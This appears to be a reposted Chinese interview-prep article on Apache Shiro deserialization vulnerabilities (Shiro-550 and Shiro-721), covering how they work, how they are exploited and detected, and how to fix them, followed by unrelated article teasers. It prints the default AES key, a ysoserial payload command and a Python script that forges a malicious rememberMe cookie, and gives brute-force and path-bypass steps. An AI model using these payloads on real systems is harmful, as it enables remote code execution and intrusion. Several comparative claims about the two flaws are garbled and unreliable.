护网中shiro常问的问题

news2025/3/10 18:08:52

1. 漏洞原理

Apache Shiro 是一个强大的 Java 安全框架,提供身份验证、授权、加密及会话管理功能。Shiro 使用 rememberMe 机制来存储用户会话信息,该机制依赖于加密后的 Cookie。当攻击者能够控制 Cookie 并且服务器使用了不安全的反序列化机制时,就可能造成远程代码执行(RCE)。

Shiro 反序列化漏洞的核心

  • Shiro 的 rememberMe 功能会在 Cookie 中存储用户的身份信息,该数据通常是通过 AES 加密的。
  • 服务器在解析 rememberMe Cookie 时,会进行反序列化操作。
  • 如果攻击者能够伪造 rememberMe Cookie,并利用不安全的 Java 反序列化机制,则可能导致远程代码执行。

Shiro 反序列化漏洞的关键点

  1. 默认密钥问题(Key Hardcoded)

    • 早期版本(如 Shiro 1.2.4)使用了默认的 AES 密钥 kPH+bIxk5D2deZiIxcaaaA==,攻击者可以利用该密钥解密 Cookie 并伪造恶意数据进行反序列化攻击。
  2. Java 反序列化漏洞

    • Shiro 反序列化时没有严格限制可反序列化的类,导致攻击者可以利用 CommonsCollectionsJdk7u21 等反序列化 gadget 进行 RCE。

2. 漏洞利用

Shiro 反序列化漏洞利用流程

  1. 获取 Shiro 版本和 AES 密钥

    • 通过访问 rememberMe Cookie 确认目标是否使用 Shiro。
    • 尝试使用 Shiro 默认密钥 kPH+bIxk5D2deZiIxcaaaA== 进行解密。
    • 如果默认密钥无效,可以利用字典或爆破方式尝试其他密钥。
  2. 构造反序列化 payload

    • 使用 ysoserial 工具生成恶意反序列化数据,如 CommonsCollections1:

      java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.bin
      
    • 使用 AES 加密该 payload,并 Base64 编码后写入 rememberMe Cookie:

      from Crypto.Cipher import AES
      import base64
      
      key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")  # Shiro 默认密钥
      iv = key  # Shiro 使用 CBC 模式,IV = key
      
      def pad(s):  # PKCS7 补全
          return s + (16 - len(s) % 16) * chr(16 - len(s) % 16)
      
      cipher = AES.new(key, AES.MODE_CBC, iv)
      encrypted = base64.b64encode(cipher.encrypt(pad(open("payload.bin", "rb").read())))
      
      print("rememberMe=" + encrypted.decode())
      
  3. 发送恶意 Cookie 触发 RCE

    • 通过 Burp Suite 或手动修改 Cookie:

      rememberMe=恶意Base64编码后的数据
      
    • 访问目标网站,触发 Shiro 反序列化漏洞,执行远程命令。


3. 漏洞检测

1. 识别目标是否使用 Shiro

  • 观察 HTTP 响应头:

    • Shiro 默认的 session ID 命名规则:

      Set-Cookie: JSESSIONID=xxxx; Path=/; HttpOnly
      Set-Cookie: rememberMe=deleteMe; Path=/; HttpOnly
      
    • rememberMe=deleteMe 可能表明目标使用 Shiro。

  • 访问 /favicon.ico,如果返回 Shiro 默认的 favicon.ico,说明目标可能使用 Shiro:

    curl -I http://target.com/favicon.ico
    

2. 检测是否存在 Shiro 反序列化漏洞

  • 发送 rememberMe=deleteMe 观察是否被 Shiro 自动删除。
  • 使用已知 AES 密钥加密测试 payload,观察目标是否执行恶意代码。

流量特征

  • 在请求包的Cookie中为?remeberMe字段赋任意值

  • 返回包中存在set-Cookie:remeberMe=deleteMe

  • URL中有shiro字样

  • 有时候服务器不会主动返回remeberMe=deleteMe,直接发包即可

  • remenber me处含有大量的base字符或者是aes加密后的字符,并且返回包200状态码的,很有可能是被内存马注入或者在进行利用链爆破

    • image
  • 攻击者成功webshell后,返回数据包的回显会会有$$$base64编码$$$字符

    • image

4. 修复方案

1. 升级 Shiro 版本

  • Shiro 1.2.5 及以上版本修复了默认密钥问题,建议升级到最新版本

    <dependency>
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-core</artifactId>
        <version>1.12.0</version>
    </dependency>
    

2. 修改 AES 密钥

  • 避免使用 Shiro 默认密钥,修改 shiro.inishiro-config.properties

    shiro.crypto.key=<随机生成的 Base64 AES 密钥>
    

3. 使用更安全的序列化机制

  • 使用 SimpleSession 代替 Java 反序列化:

    session.setAttribute("rememberMe", YOUR_SECURE_SERIALIZATION_METHOD);
    
  • 采用 KryoJSON 等安全的序列化方式,避免 Java 反序列化漏洞。

4. 过滤危险类

  • 采用 Java ObjectInputFilter 机制:

    ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("!*;java.util.**;org.apache.shiro.**");
    

漏洞类型

  • linux出网环境

    • 访问网址发现url存在shiro字眼,可以确认是shiro环境

      • image
    • 通过修改cookie字段的信息,返回包那里含有rememberMe=deleteMe字段,说明存在shiro漏洞,直接上工具即可

      • image
  • linux不出网环境

    • 不出网我们可以采用延迟来判断漏洞是否存在
    • 通过脚本会尝试发送不同的密钥(Key)和利用链(Gadget),并观察服务器的响应时间。
    • 如果服务器的响应时间比正常情况延迟了5秒,则说明该 key + gadget 组合有效,Shiro 存在反序列化漏洞
    • 如果某个key和gadget组合以及延时命令success生效了,就是存在的,还区分两个判断windows和linux,最后在写入shell后还对发送命令进行了base64编码后发送
  • apache shiro 权限绕过

    • 漏洞的根本原因

      • shiro的URL拦截器中的路径匹配规则的存在设计缺陷
      • spring MVC处理URL时,会将/hello/hello/视为相同的资源
    • 漏洞复现

      • 不可以访问/admin,但是可以访问/admin/
      • 说明存在权限绕过,可以通过/路径/的形式访问未授权资源
  • shiro550漏洞

    • 原理

      • apache shiro框架提供了记住密码的功能,用户登录成功后会生成经过aes加密base64编码的cookie,在服务端会对rememberme的cookie的值,先base64解码然后aes解密在反序列化,因为aes的秘钥是写死在代码里面,所以导致了反序列化rce漏洞产生
    • 攻击流程

      • 通过勾选登录页面的“记住我”选项并进行登录,抓包观察请求和响应中的rememberMe字段。
      • 使用shiro_attack-2.2.jar工具或python脚本(shiro_exploit.py)进行密钥检测和爆破,确认是否能获取到固定的密钥kPH+bIxk5D2deZiIxcaaaA==。
  • shiro 721漏洞

    • 原理

      • Shiro721与shiro550不同,他的AES加密的key基本猜不到,系统随机生成。可使用登录后的RememberMe来爆破正确的key值,就是利用对加密消息填充错误的反馈,来逐步判断加密数据的内容,就是利用Shiro Cookie签名校验逻辑缺陷,然后构造RememberMe Cookie值来实现反序列化漏洞攻击

shrio550和721的区别

主要区别在于Shiro550使用已知默认密码,只要有足够的密码,不需要Remember Cookie的
Shiro721的ase加密的key为系统随机生成,需要利用登录后的rememberMe去爆破正确的key值。利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,再去构造反序列化攻击。

  1. Shiro550和Shiro721的主要区别在于:

    • Shiro550利用已知密钥碰撞,Shiro721需要通过有效的RememberMe Cookie来爆破正确的key。
    • Shiro550利用CommonsCollections链,Shiro721利用Fastjson链。
    • Shiro550是Shiro rememberMe功能设计缺陷,Shiro721是Shiro Cookie签名校验逻辑缺陷。
    • Shiro721利用更简单,只需修改Cookie签名即可getshell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2312185.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

swift -(5) 汇编分析结构体、类的内存布局

一、结构体 在 Swift 标准库中&#xff0c;绝大多数的公开类型都是结构体&#xff0c;而枚举和类只占很小一部分 比如Bool、 Int、 Double、 String、 Array、 Dictionary等常见类型都是结构体 ① struct Date { ② var year: Int ③ var month: Int ④ …

软件工程笔记下

从程序到软件☆ 章节 知识点 概论☆ 软件的定义&#xff0c;特点&#xff0c;生存周期。软件工程的概论。软件危机。 1.☆软件&#xff1a;软件程序数据文档 &#xff08;1&#xff09;软件&#xff1a;是指在计算机系统的支持下&#xff0c;能够完成特定功能与性能的包括…

【项目日记(九)】细节优化与对比测试

前言 上面我们对申请和释放的过程都已写完&#xff0c;并进行了单线程的联调。本期我们来对一些细节进行优化以及与malloc 进行对比测试。 目录 前言 一、大于256KB的内存申请问题 • 申请过程 • 释放过程 • 简单测试 二、使用定长内存池脱离使用new 三、优化释放对…

PyTorch系列教程:编写高效模型训练流程

当使用PyTorch开发机器学习模型时&#xff0c;建立一个有效的训练循环是至关重要的。这个过程包括组织和执行对数据、参数和计算资源的操作序列。让我们深入了解关键组件&#xff0c;并演示如何构建一个精细的训练循环流程&#xff0c;有效地处理数据处理&#xff0c;向前和向后…

10 【HarmonyOS NEXT】 仿uv-ui组件开发之Avatar头像组件开发教程(一)

温馨提示&#xff1a;本篇博客的详细代码已发布到 git : https://gitcode.com/nutpi/HarmonyosNext 可以下载运行哦&#xff01; 目录 第一篇&#xff1a;Avatar 组件基础概念与设计1. 组件概述2. 接口设计2.1 形状类型定义2.2 尺寸类型定义2.3 组件属性接口 3. 设计原则4. 使用…

C语言——【全局变量和局部变量】

&#x1f680;个人主页&#xff1a;fasdfdaslsfadasdadf &#x1f4d6;收入专栏&#xff1a;C语言 &#x1f30d;文章目入 1.&#x1f680; 全局变量2.&#x1f680; 局部变量3.&#x1f680; 局部和全局变量&#xff0c;名字相同呢? 1.&#x1f680; 全局变量 全局变量&…

浅谈 DeepSeek 对 DBA 的影响

引言&#xff1a; 在人工智能技术飞速发展的背景下&#xff0c;DeepSeek 作为一款基于混合专家模型&#xff08;MoE&#xff09;和强化学习技术的大语言模型&#xff0c;正在重塑传统数据库管理&#xff08;DBA&#xff09;的工作模式。通过结合其强大的自然语言处理能力、推理…

DeepSeek-R1本地化部署(Mac)

一、下载 Ollama 本地化部署需要用到 Ollama&#xff0c;它能支持很多大模型。官方网站&#xff1a;https://ollama.com/ 点击 Download 即可&#xff0c;支持macOS,Linux 和 Windows&#xff1b;我下载的是 mac 版本&#xff0c;要求macOS 11 Big Sur or later&#xff0c;Ol…

Java面试第九山!《SpringBoot框架》

引言 你是否经历过这样的场景&#xff1f;想快速开发一个Java Web应用&#xff0c;却被XML配置、依赖冲突、服务器部署搞得焦头烂额。Spring Boot的诞生&#xff0c;正是为了解决这些"配置地狱"问题。 对比项Spring Boot传统 Spring配置复杂度自动配置&#xff0c;…

视频理解开山之作 “双流网络”

1 论文核心信息 1.1核心问题 任务&#xff1a;如何利用深度学习方法进行视频中的动作识别&#xff08;Action Recognition&#xff09;。挑战&#xff1a; 视频包含时空信息&#xff0c;既需要捕捉静态外观特征&#xff08;Spatial Information&#xff09;&#xff0c;也需要…

基于Matlab的人脸识别的二维PCA

一、基本原理 传统 PCA 在处理图像数据时&#xff0c;需将二维图像矩阵拉伸为一维向量&#xff0c;这使得数据维度剧增&#xff0c;引发高计算成本与存储压力。与之不同&#xff0c;2DPCA 直接基于二维图像矩阵展开运算。 它着眼于图像矩阵的列向量&#xff0c;构建协方差矩阵…

考研数一非数竞赛复习之Stolz定理求解数列极限

在非数类大学生数学竞赛中&#xff0c;Stolz定理作为一种强大的工具&#xff0c;经常被用来解决和式数列极限的问题&#xff0c;也被誉为离散版的’洛必达’方法&#xff0c;它提供了一种简洁而有效的方法&#xff0c;使得原本复杂繁琐的极限计算过程变得直观明了。本文&#x…

Java在小米SU7 Ultra汽车中的技术赋能

目录 一、智能驾驶“大脑”与实时数据 场景一&#xff1a;海量数据的分布式计算 场景二&#xff1a;实时决策的毫秒级响应 场景三&#xff1a;弹性扩展与容错机制 技术隐喻&#xff1a; 二、车载信息系统&#xff08;IVI&#xff09;的交互 场景一&#xff1a;Android Automo…

DeepSeek R1-7B 医疗大模型微调实战全流程分析(全码版)

DeepSeek R1-7B 医疗大模型微调实战全流程指南 目录 环境配置与硬件优化医疗数据工程微调策略详解训练监控与评估模型部署与安全持续优化与迭代多模态扩展伦理与合规体系故障排除与调试行业应用案例进阶调优技巧版本管理与迭代法律风险规避成本控制方案文档与知识传承1. 环境配…

网络安全技术和协议(高软43)

系列文章目录 网络安全技术和协议 文章目录 系列文章目录前言一、网络安全技术1.防火墙2.入侵检测系统IDS3.入侵防御系统IPS 二、网络攻击和威胁三、网络安全协议四、真题在这里插入图片描述 总结 前言 本节讲明网络安全技术和协议方面的相关知识。 一、网络安全技术 1.防火…

K8S学习之基础十七:k8s的蓝绿部署

蓝绿部署概述 ​ 蓝绿部署中&#xff0c;一共有两套系统&#xff0c;一套是正在提供服务的系统&#xff0c;一套是准备发布的系统。两套系统都是功能完善、正在运行的系统&#xff0c;只是版本和对外服务情况不同。 ​ 开发新版本&#xff0c;要用新版本替换线上的旧版本&…

【网络】TCP常考知识点详解

TCP报文结构 TCP报文由**首部&#xff08;Header&#xff09;和数据&#xff08;Data&#xff09;**两部分组成。首部包括固定部分&#xff08;20字节&#xff09;和可选选项&#xff08;最多40字节&#xff09;&#xff0c;总长度最大为60字节。 1. 首部固定部分 源端口&…

LeetCode1137 第N个泰波那契数

泰波那契数列求解&#xff1a;从递归到迭代的优化之路 在算法的世界里&#xff0c;数列问题常常是我们锻炼思维、提升编程能力的重要途径。今天&#xff0c;让我们一同深入探讨泰波那契数列这一有趣的话题。 泰波那契数列的定义 泰波那契序列 Tn 有着独特的定义方式&#xf…

六十天前端强化训练之第十四天之深入理解JavaScript异步编程

欢迎来到编程星辰海的博客讲解 目录 一、异步编程的本质与必要性 1.1 单线程的JavaScript运行时 1.2 阻塞与非阻塞的微观区别 1.3 异步操作的性能代价 二、事件循环机制深度解析 2.1 浏览器环境的事件循环架构 核心组件详解&#xff1a; 2.2 执行顺序实战分析 2.3 Nod…

利用EasyCVR平台打造化工园区视频+AI智能化监控管理系统

化工园区作为化工产业的重要聚集地&#xff0c;其安全问题一直是社会关注的焦点。传统的人工监控方式效率低下且容易出现疏漏&#xff0c;已经难以满足日益增长的安全管理需求。 基于EasyCVR视频汇聚平台构建的化工园区视频AI智能化应用方案&#xff0c;能够有效解决这些问题&…